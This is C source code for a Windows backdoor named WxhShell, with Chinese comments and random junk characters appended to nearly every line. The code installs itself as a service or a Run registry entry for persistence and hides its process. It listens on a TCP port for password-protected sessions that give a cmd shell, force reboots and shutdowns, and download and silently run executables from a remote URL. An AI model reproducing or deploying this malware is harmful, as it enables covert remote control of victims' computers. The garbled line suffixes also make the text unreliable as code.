    } 8{2  
  // 关机 o9"?z  
  case 'd': { U{M3QOF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d9;&Y?fp  
    if(Boot(SHUTDOWN)) &|#[.ti1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B#jnM~fJz  
    else { nv@z;#&  
    closesocket(wsh); k)S1Zs~G  
    ExitThread(0); 0 h!Du|?  
    } L#byYB;E{  
    break; *S:~U  
    } 89(qU  
  // 获取shell pQ:^ ziwa3  
  case 's': { 1Ng.Ukb  
    CmdShell(wsh); . c+m(Pk  
    closesocket(wsh); iKJqMES  
    ExitThread(0); Qa )+Tv  
    break; [=q/f2_1.  
  } =N\; ?eF(  
  // 退出 D4 8e30  
  case 'x': { :1j8!R5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X%IqZ{ {  
    CloseIt(wsh); -GPJ,S V>  
    break; Nyy&'\`!  
    } jo<xrn\  
  // 离开 HC6U_d1-6  
  case 'q': { EXr2d"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Nb&j?./  
    closesocket(wsh); 3U{ mC}F  
    WSACleanup(); >U{iof<  
    exit(1); /)Cfm1$ic  
    break; VbvP!<8  
        } T3{~f  
  } .F 6US<]  
  } },l i'r#p  
\j`0 f=z_  
  // 提示信息 <lf692.3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $e7%>*?m  
} BKg8p]`+  
  } {k_\1t(/  
`K.C>68  
  return; x'x5tg  
} xj>P5\mW#  
bt)C+|i  
// shell模块句柄 U+x^!{[/  
int CmdShell(SOCKET sock) ,X^3.ILz  
{ 9efey? z  
STARTUPINFO si; S9Yzvq!(  
ZeroMemory(&si,sizeof(si)); 3d6z_Yd:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ITw *m3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :kR>wX  
PROCESS_INFORMATION ProcessInfo; c#{lXS^  
char cmdline[]="cmd"; =6Ok4Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H}F UgA;  
  return 0; ^:{8z;w!(  
} \(i'iC  
l[$GOLeS  
// 自身启动模式 HfVHjF)  
int StartFromService(void) ?uSoJM`wa!  
{ K'Ywv@  
typedef struct 2j%=o?me^p  
{ wBXa;.  
  DWORD ExitStatus; M\m:H3[  
  DWORD PebBaseAddress; )Ri!  
  DWORD AffinityMask; Lxp}o7>K  
  DWORD BasePriority; GLtWo+g0  
  ULONG UniqueProcessId; {q)d  
  ULONG InheritedFromUniqueProcessId; H_RfIX)X  
}   PROCESS_BASIC_INFORMATION; gvuv>A}vJ  
%(W&(eN  
PROCNTQSIP NtQueryInformationProcess; 8)1q,[:M  
{k3ItGQ_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0* F` h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f X[xZGV,  
E,Rj;?  
  HANDLE             hProcess; :lB`K>)iB}  
  PROCESS_BASIC_INFORMATION pbi; j J{F0o  
3O2G+G2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rH`\UZ{cc  
  if(NULL == hInst ) return 0; prj(  
940:NOgm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DH?n~qKpC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _gqqPny4$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c1k[)O~  
;Yee0O!d4  
  if (!NtQueryInformationProcess) return 0; !y b06Z\f  
}9"'' Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )&1v[]%S  
  if(!hProcess) return 0; ^H.B6h?  
Fa>f'VXx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #4bT8kq  
9?,i+\)qK@  
  CloseHandle(hProcess); >whv*@Fr  
OK80-/8HI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "++\6 H<  
if(hProcess==NULL) return 0; S<i1t[E @W  
w&L~+ Z<  
HMODULE hMod; O.B9w+G=  
char procName[255]; dzOco)y  
unsigned long cbNeeded; N=\ zx^w,  
_s5^\~ao  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H}kZ;8  
[ *Dj:A)V^  
  CloseHandle(hProcess); bIiun a\  
J]TqH`MA  
if(strstr(procName,"services")) return 1; // 以服务启动 k 3m_L-  
[=(8yUV'G  
  return 0; // 注册表启动 l9f_NJHo  
} ~-zIB=TyK  
lk 1\|Q I  
// 主模块 53:~a  
int StartWxhshell(LPSTR lpCmdLine) hEB5=~A_  
{ jV}8VK*`+  
  SOCKET wsl; Np+PUu>  
BOOL val=TRUE; 5bt>MoKxv  
  int port=0; i6KfH\{N  
  struct sockaddr_in door; > mO*.'Gm  
pRun5 )7  
  if(wscfg.ws_autoins) Install(); 4tCM 2it%  
Vr},+Rj  
port=atoi(lpCmdLine); I*N"_uKU  
-NJpql{Cb  
if(port<=0) port=wscfg.ws_port; t/;0/ql\  
Z>`\$1CI  
  WSADATA data; N~=I))i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^ 4<D%\  
 J| N 6r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <{cY2cx~3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6 ^3RfF^W  
  door.sin_family = AF_INET; o`c+eMwr(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~Tt@ v`}  
  door.sin_port = htons(port);  C^"zU>W_  
Fy{yg]O"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rByth,|  
closesocket(wsl); vIJ5iLF  
return 1; JhFn"(O  
} [<53_2]~  
Eto"B"  
  if(listen(wsl,2) == INVALID_SOCKET) { OCrTzz8  
closesocket(wsl); V#w$|2  
return 1; _+B y=B.'  
} P#hRqETw  
  Wxhshell(wsl); h]s6)tI I  
  WSACleanup(); 1.+O2qB  
}%Mdf6LS64  
return 0; M v (Pp  
SvSO?H!-  
} xJ$uoy3+  
zTcz+3x  
// 以NT服务方式启动 veq3t$sj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u*@R`,Y   
{ ! :]_-DX  
DWORD   status = 0; #$BFTlm|  
  DWORD   specificError = 0xfffffff; }eVDe(7_  
72Bc0Wg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; et+lL"&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B9NUafK=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VF2,(f-*  
  serviceStatus.dwWin32ExitCode     = 0; IRQtA ZV$  
  serviceStatus.dwServiceSpecificExitCode = 0; i)e6 U(H  
  serviceStatus.dwCheckPoint       = 0; FXBmatBck  
  serviceStatus.dwWaitHint       = 0; "v:k5a(  
(O J/u)W^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O6Py  
  if (hServiceStatusHandle==0) return; J`5+Zngr  
ura&9~   
status = GetLastError(); p"hO6b%V  
  if (status!=NO_ERROR) 0;TiNrzg  
{ c]E pg)E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f DXK<v)  
    serviceStatus.dwCheckPoint       = 0; #` 3Q4  
    serviceStatus.dwWaitHint       = 0; J-<P~9m~I  
    serviceStatus.dwWin32ExitCode     = status; i$] :Y`3h  
    serviceStatus.dwServiceSpecificExitCode = specificError; @HbRfD/!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xK6`|/e  
    return; clU ?bF~e1  
  } E'\gd7t ;  
t[q2 W"#.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y7UU'k`  
  serviceStatus.dwCheckPoint       = 0; xH2'PEjFM  
  serviceStatus.dwWaitHint       = 0; W]eILCo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l!:bNMd  
} #k9&OS?  
[ ojL9.6  
// 处理NT服务事件,比如:启动、停止 c(=>5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &$|~",  
{ K uwhA-IL  
switch(fdwControl) :-d#kU  
{ legWY)4D;  
case SERVICE_CONTROL_STOP: b~&cYk'  
  serviceStatus.dwWin32ExitCode = 0; 5Yv*f:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D 1.59mHsD  
  serviceStatus.dwCheckPoint   = 0; f0 g/`j@Up  
  serviceStatus.dwWaitHint     = 0; n@+?tYk*e  
  { .eIs$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g5|&6+t.  
  } "m^gCN}c  
  return; qe&|6M!  
case SERVICE_CONTROL_PAUSE: '|]}f}Go  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M%_*vD  
  break; Xd:{.AXW  
case SERVICE_CONTROL_CONTINUE: }T.>p#z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $Zyuhji^  
  break; }'Ap@4  
case SERVICE_CONTROL_INTERROGATE: B`QF;,3S  
  break; aiX&`   
}; 9c]$d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H&ek"nP_  
} C2R"96M7q  
>e!J(4.-  
// 标准应用程序主函数 KOe]JDU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Kv* 1=HES  
{ #6c,_!  
SHYekX  
// 获取操作系统版本 g"n>v c7  
OsIsNt=GetOsVer(); ?jMM@O`Nu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !7\dr )  
9QP=  
  // 从命令行安装 h:bx0:O"  
  if(strpbrk(lpCmdLine,"iI")) Install(); s;P _LaIp)  
}BS EK<W  
  // 下载执行文件 H%m^8yW1  
if(wscfg.ws_downexe) { X$==J St  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {P?Ge  
  WinExec(wscfg.ws_filenam,SW_HIDE); VJ-t #q"  
} hvTc( 0;mB  
<9>L^GgXA  
if(!OsIsNt) { ^e^-1s  S  
// 如果时win9x,隐藏进程并且设置为注册表启动 agfDx ^,  
HideProc(); L$c 1<7LU  
StartWxhshell(lpCmdLine); 5(#z)T  
} 7Q{&L#;  
else ]uhG&: }  
  if(StartFromService()) Fb<'L5}i  
  // 以服务方式启动 0(c,J$I]Z!  
  StartServiceCtrlDispatcher(DispatchTable); &kd W(;`  
else S".|j$  
  // 普通方式启动 NUnwf h  
  StartWxhshell(lpCmdLine); 0* x ?rO?  
pqs!kSJV  
return 0; uD{-a$6z  
} ;PMPXN'z6  
$o+@}B0)  
 ^4WZ%J#g  
A?HDY_u  
=========================================== ksU& q%1  
ISZEP8w  
^Vth;!o  
Z .`+IN(>E  
Yw=@*CK'  
o&q:b9T  
" MA tF,  
YH^U "\}i  
#include <stdio.h> (~\HizSl  
#include <string.h> fATnza  
#include <windows.h> 9ox5,7ZQ  
#include <winsock2.h> S9:ij1  
#include <winsvc.h> 6@0? ~  
#include <urlmon.h> IH*G7;  
te;bn4~  
#pragma comment (lib, "Ws2_32.lib") clqFV   
#pragma comment (lib, "urlmon.lib") q) 5s'(  
S8;c0}-  
#define MAX_USER   100 // 最大客户端连接数 qtVgjT2#H  
#define BUF_SOCK   200 // sock buffer 2|!jst  
#define KEY_BUFF   255 // 输入 buffer -;Mh|!yg  
D_F1<q  
#define REBOOT     0   // 重启 # .&t'"u  
#define SHUTDOWN   1   // 关机 9_*3xu<7i  
s;<]gaonB_  
#define DEF_PORT   5000 // 监听端口 Q%'4jn?H  
F'<XB~ &o  
#define REG_LEN     16   // 注册表键长度 : [?7,/w  
#define SVC_LEN     80   // NT服务名长度 D@w&[IF  
/FTP8XHwL)  
// 从dll定义API (Ms #)E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?aaYka]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]S(nA!]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }cW8B"_"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hHEn  
\o,et9zDJ3  
// wxhshell配置信息 4nd)*0{ f  
struct WSCFG { h{]0 H'g  
  int ws_port;         // 监听端口 qoQ,3&<  
  char ws_passstr[REG_LEN]; // 口令 wMm+E "}W  
  int ws_autoins;       // 安装标记, 1=yes 0=no &_QD1 TT  
  char ws_regname[REG_LEN]; // 注册表键名 sAX4giaLD  
  char ws_svcname[REG_LEN]; // 服务名 29@m:=-}7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s*CBYzOm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ki :98a$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OpOR!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5=<fJXf5y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Jk<b#SZ[b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v>hc\H1P  
NCkrf]*F-  
}; jRk1Iu|7  
ywjD.od"v  
// default Wxhshell configuration 4}Os>M{k  
struct WSCFG wscfg={DEF_PORT, ] C_$zbmi  
    "xuhuanlingzhe", M1DV9~S  
    1, 4GJx1O0Ol  
    "Wxhshell", ^7kYG7/  
    "Wxhshell", OJ\j6owA  
            "WxhShell Service", a$11u.\q+  
    "Wrsky Windows CmdShell Service", PVq y\i  
    "Please Input Your Password: ", pkIJbI{aS  
  1, (:# 4{C  
  "http://www.wrsky.com/wxhshell.exe", W}^>lM\8  
  "Wxhshell.exe" sBN4:8  
    }; B`%%,SLJ  
L@ N\8mf  
// 消息定义模块 NUY sQO)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I7#+B1t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A{hST~s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }N3Ur~X\  
char *msg_ws_ext="\n\rExit."; _rUsb4r  
char *msg_ws_end="\n\rQuit."; "y .(E7 6  
char *msg_ws_boot="\n\rReboot..."; "X1{*  
char *msg_ws_poff="\n\rShutdown..."; /h!iLun7I  
char *msg_ws_down="\n\rSave to "; v Dph}Z  
bsWDjV~  
char *msg_ws_err="\n\rErr!"; G;msq=9|  
char *msg_ws_ok="\n\rOK!"; !E/%Hv1  
A@EUH  
char ExeFile[MAX_PATH]; 9jUm0B{?  
int nUser = 0; {bp~_`O  
HANDLE handles[MAX_USER]; @rW%*?$7  
int OsIsNt; w`Z@|A  
HX:^:pF}  
SERVICE_STATUS       serviceStatus; N;av  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `yb,z   
=Rf!i78c5  
// 函数声明 %X\rP,  
int Install(void); ")qO#b4  
int Uninstall(void); 75H5{#)  
int DownloadFile(char *sURL, SOCKET wsh); 03y5$kQ  
int Boot(int flag); L_YY,  
void HideProc(void); 'q*/P&x5  
int GetOsVer(void); Dmk~t="Y  
int Wxhshell(SOCKET wsl); CY8=prC  
void TalkWithClient(void *cs); HuL9' M  
int CmdShell(SOCKET sock); L5>.ku=T  
int StartFromService(void); 9y"\]G77E  
int StartWxhshell(LPSTR lpCmdLine); ,OO0*%  
kasx4m]^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _i&awm/U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JMYM}G  
cM+s)4TPL  
// 数据结构和表定义 d,).O  
SERVICE_TABLE_ENTRY DispatchTable[] = R$ 40cW3`  
{  ^pZ\:  
{wscfg.ws_svcname, NTServiceMain}, =kWm9W<^  
{NULL, NULL} <j89HtCz  
}; !*|`-woE  
@GR|co  
// 自我安装 3Q(#2tL=  
int Install(void) a@WSIcX*W  
{ 8h7z  
  char svExeFile[MAX_PATH]; itIzs99j  
  HKEY key; :~]ha  
  strcpy(svExeFile,ExeFile); 9G}Crp  
J\kv}v  
// 如果是win9x系统,修改注册表设为自启动 xyTjK.N  
if(!OsIsNt) { ,n?oNU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `BHPj p>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W 7Y5~%@  
  RegCloseKey(key); Mi"dFx^Md  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E MKv)5MH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); du4Q^-repC  
  RegCloseKey(key); . B9rG~  
  return 0; Y)4&PN~[  
    } My!<_Hp-W  
  } Z:}d\~`x$%  
} "#mr?h_  
else { j_*#"}Lcp  
e|ngnkf(G  
// 如果是NT以上系统,安装为系统服务 s|Acv4| V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m48m5>  
if (schSCManager!=0) 5*pCb,z>q  
{ J$D#)w!$j  
  SC_HANDLE schService = CreateService QR($KW(  
  ( J Covk1  
  schSCManager, 5rpTR  
  wscfg.ws_svcname,  cUz7F  
  wscfg.ws_svcdisp, MRdZ'  
  SERVICE_ALL_ACCESS, pTlNJ!U>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ey!+rq}  
  SERVICE_AUTO_START, k:0HsN!F9  
  SERVICE_ERROR_NORMAL, \{[Gdj`  
  svExeFile, <M|kOi  
  NULL, ca1A9fvo  
  NULL, AA$-Lx(UJk  
  NULL, dRXF5Ox5K}  
  NULL, 1x#Z}XG  
  NULL LCRZ<?O[|  
  ); {?' DZR s  
  if (schService!=0) 2!b+}+:  
  { -HU5E>xG  
  CloseServiceHandle(schService); Pp[?E.]P  
  CloseServiceHandle(schSCManager); v(/T<^{cuk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zi fAn  
  strcat(svExeFile,wscfg.ws_svcname); =FXZcP>h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @<O Bt d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u<l[S  
  RegCloseKey(key); Wo@0yF@  
  return 0; o'Byuct  
    } UmSy p\i  
  } K$dSg1t  
  CloseServiceHandle(schSCManager); g9`z]qGWS:  
} 4~3 N;]X  
} lXS.,#lp  
W7lR 54%|  
return 1; /MB3w m  
} O!(M:.  
Ph'P<h:V  
// 自我卸载 kw>W5tNpf:  
int Uninstall(void) ~4\J }Kn  
{ |T}Q ~  
  HKEY key; Oozt&* F  
YULI y-W  
if(!OsIsNt) { CD'.bFO^+T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *1fq:--  
  RegDeleteValue(key,wscfg.ws_regname); #%xzy@`  
  RegCloseKey(key); EencMi7J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c-L1 Bkw  
  RegDeleteValue(key,wscfg.ws_regname); B6&;nU>;  
  RegCloseKey(key); %EuJ~;x(Mg  
  return 0; 5 #)5Z8`X  
  } B'OUT2cgB  
} ruG5~dm>  
} i"~J -{d}  
else { >i%{5d  
xn'&TQo0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .|Pq!uLvc  
if (schSCManager!=0) ^#T@NN0T  
{ ?H\K];  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @-9I<)Z/2  
  if (schService!=0) "|yuP1;L  
  { Qx-/t9`!Z  
  if(DeleteService(schService)!=0) { 3: 'eZ cM  
  CloseServiceHandle(schService); oz(V a!  
  CloseServiceHandle(schSCManager); ab5 a>w6}  
  return 0; XjL)WgQ{i  
  } ~.?,*q7  
  CloseServiceHandle(schService); pPSmSWD?  
  } Lj"@JF;c  
  CloseServiceHandle(schSCManager); t%$>  
} ]uN}n;`12  
} r%*,pN7O  
LE!xj 0  
return 1; Tji G!W8  
} qU(,q/l  
YL_M=h>P  
// 从指定url下载文件 |N%?7PZ(  
int DownloadFile(char *sURL, SOCKET wsh) fz[o;GTc  
{ kQ5mIJ9(  
  HRESULT hr; LD]a!eY  
char seps[]= "/"; slC 38  
char *token; U_t[J|  
char *file; x{ _:B DY  
char myURL[MAX_PATH]; Ib(q9!L  
char myFILE[MAX_PATH]; +>b~nK>M  
DlHt#Ob7  
strcpy(myURL,sURL); [ZC{eg+D  
  token=strtok(myURL,seps); v803@9@  
  while(token!=NULL) =]k0*\PS  
  { ),ur! v  
    file=token; LO8`qq*rq  
  token=strtok(NULL,seps); m5c?A+@fZ  
  } % ~eIx=s  
TUw+A6u:p  
GetCurrentDirectory(MAX_PATH,myFILE); {O ]^8#v^  
strcat(myFILE, "\\"); WrB:)Q(8=  
strcat(myFILE, file); iI|mFc|V  
  send(wsh,myFILE,strlen(myFILE),0); @]v}& j7  
send(wsh,"...",3,0); (gY3?&Ok*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~:`5Y"Av:  
  if(hr==S_OK) EDQKbTaPt  
return 0; !6Sr*a*5  
else ;L1Q"Hxh  
return 1; |$*1!pL-QP  
d??;r:  
} dwd5P7  
<$6r1y*G  
// 系统电源模块 {k CCpU  
int Boot(int flag) kj_MzgC'?  
{  .dA_}  
  HANDLE hToken; ~m:oJ+:O  
  TOKEN_PRIVILEGES tkp; (}Q(Ux@X  
_ebo  
  if(OsIsNt) { 0,b.;r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vO>Fj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,sw|OYb  
    tkp.PrivilegeCount = 1; ?A4zIJ\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YfRjr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t1Ty.F)r  
if(flag==REBOOT) { nHAET  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eh\_;2P  
  return 0; /V-uo(n< .  
} {zd0 7!9y  
else { O+iNR9O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ''t\J^+&  
  return 0; bSa%?laS  
} } Xbmb8  
  } %r E:5)  
  else { tuT>,BbR  
if(flag==REBOOT) { k P]'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3jSt&+  
  return 0; I+08tXO  
} pco:]3BF6  
else { 5;WESk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s fD@lW3  
  return 0; Y -yozt  
} #mT\B[4h  
} .r ,wc*SF  
&>nB@SQZ  
return 1; |ry![\  
} ZhqGUb  
@:,B /B;  
// win9x进程隐藏模块 k4N_Pa$}\  
void HideProc(void) E?v9c>c  
{ ,> Ya%;h2k  
zR@4Z>6   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); azhilUD8  
  if ( hKernel != NULL ) \#50; 8VJ  
  { ~F [V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %C[#:>'+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RSfB9)3D  
    FreeLibrary(hKernel); + d?p? v  
  } DT;n)7+,  
NUO#[7OK+x  
return; CvOji 1  
} '6g;UOx^=  
(YV]T!q  
// 获取操作系统版本 qjr:(x/  
int GetOsVer(void) S_eD1iY2-  
{ PJfADB7Y  
  OSVERSIONINFO winfo; d/"%fpp^0G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XE#a#  
  GetVersionEx(&winfo); plNoI1st  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8}M-b6R V  
  return 1; MnL o{G]  
  else fA$2jbGW  
  return 0; ltWEA  
} L`2(u!i J  
t.rlC5 k  
// 客户端句柄模块 vRhI:E)So#  
int Wxhshell(SOCKET wsl) SO|!x}GfI  
{ 9q/k,g  
  SOCKET wsh; FOyANN'  
  struct sockaddr_in client; iv!;gMco  
  DWORD myID; MZrLLnl6\  
_^Z v[P  
  while(nUser<MAX_USER)  2S  
{ iFOa9!_0n  
  int nSize=sizeof(client); awU! 3)B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (^HU|   
  if(wsh==INVALID_SOCKET) return 1; ~XeWN^l(Ov  
<)$e*HrI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2tw3 =)  
if(handles[nUser]==0) ,Gi%D3lA  
  closesocket(wsh); \? n<UsI  
else )H1\4LeP  
  nUser++; $RA+StF!]  
  } SpO%nZ";g8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 01n7ua*XX  
f8?hEa:js  
  return 0; ?vBMx _0  
} r9Vt}]$aG  
[-0=ZKH?  
// 关闭 socket RRb>]oD  
void CloseIt(SOCKET wsh) H73 r3BH  
{ |jI|} ,I  
closesocket(wsh); gJ H^f3  
nUser--; 79z/(T +  
ExitThread(0); t`- [  
} 'WNq/z"X  
tjLG$M1z`  
// 客户端请求句柄 v8"Zru  
void TalkWithClient(void *cs) z8dBfA<z  
{ 'F%h]4|1  
/g>]J70  
  SOCKET wsh=(SOCKET)cs; X Z=%XB:?  
  char pwd[SVC_LEN]; M?00n< vM  
  char cmd[KEY_BUFF]; =B{B ?B"r  
char chr[1]; \"a~~Koe  
int i,j; B)x^S >  
e +Ikw1y"f  
  while (nUser < MAX_USER) { !lL~#l:F  
"sSY[6Kp!  
if(wscfg.ws_passstr) { .wO-2h{Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'kSm}} y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s-4qK(ml-  
  //ZeroMemory(pwd,KEY_BUFF); >l b9j>  
      i=0; W %1/: _  
  while(i<SVC_LEN) { |fB/hs \  
l h?[wc  
  // 设置超时 D4T42L  
  fd_set FdRead; 5FVmk5z]d  
  struct timeval TimeOut; q:1n=i Ei  
  FD_ZERO(&FdRead); pK"iTc#\X  
  FD_SET(wsh,&FdRead); @x^/X8c(p  
  TimeOut.tv_sec=8; ro+8d  
  TimeOut.tv_usec=0; U UhlKV|5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D/ tCB-+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G|I}x/X"Q7  
b5#Jo2C`AJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lot;d3}  
  pwd=chr[0]; cK,&huk  
  if(chr[0]==0xd || chr[0]==0xa) { t>2EZ{N +y  
  pwd=0; mT>RQ.  
  break; -;O"Y?ME  
  } [1l OGck[  
  i++; _n0NE0  
    } QuBA'4ht  
RNopx3  
  // 如果是非法用户,关闭 socket ' ,1[rWyc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _4 YT2k  
} Qoa&]]  
uvRX{q 4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Eb8~i_B-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3fUiYI|&7  
~ Zw37C9J  
while(1) { !iL6/  
y[/:?O}g4  
  ZeroMemory(cmd,KEY_BUFF); <OrQbrWQa  
h %5keiA  
      // 自动支持客户端 telnet标准   h^YUu`P  
  j=0; y J>Bc  
  while(j<KEY_BUFF) { g'9~T8i& ^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v=daafO  
  cmd[j]=chr[0]; ,=[r6k<  
  if(chr[0]==0xa || chr[0]==0xd) { y:Agmr,S  
  cmd[j]=0; Ih[k{p  
  break; hG}gKs  
  } w}YcAnuB{%  
  j++; R1Fcd@DWD  
    } NOFH  
(_Th4'(@Y  
  // 下载文件 M}`T-"qf  
  if(strstr(cmd,"http://")) { I0N~>SpZ5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iGBHlw;A  
  if(DownloadFile(cmd,wsh)) CropHB/t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^[6#Kw&E  
  else (ylZ[M&B:  
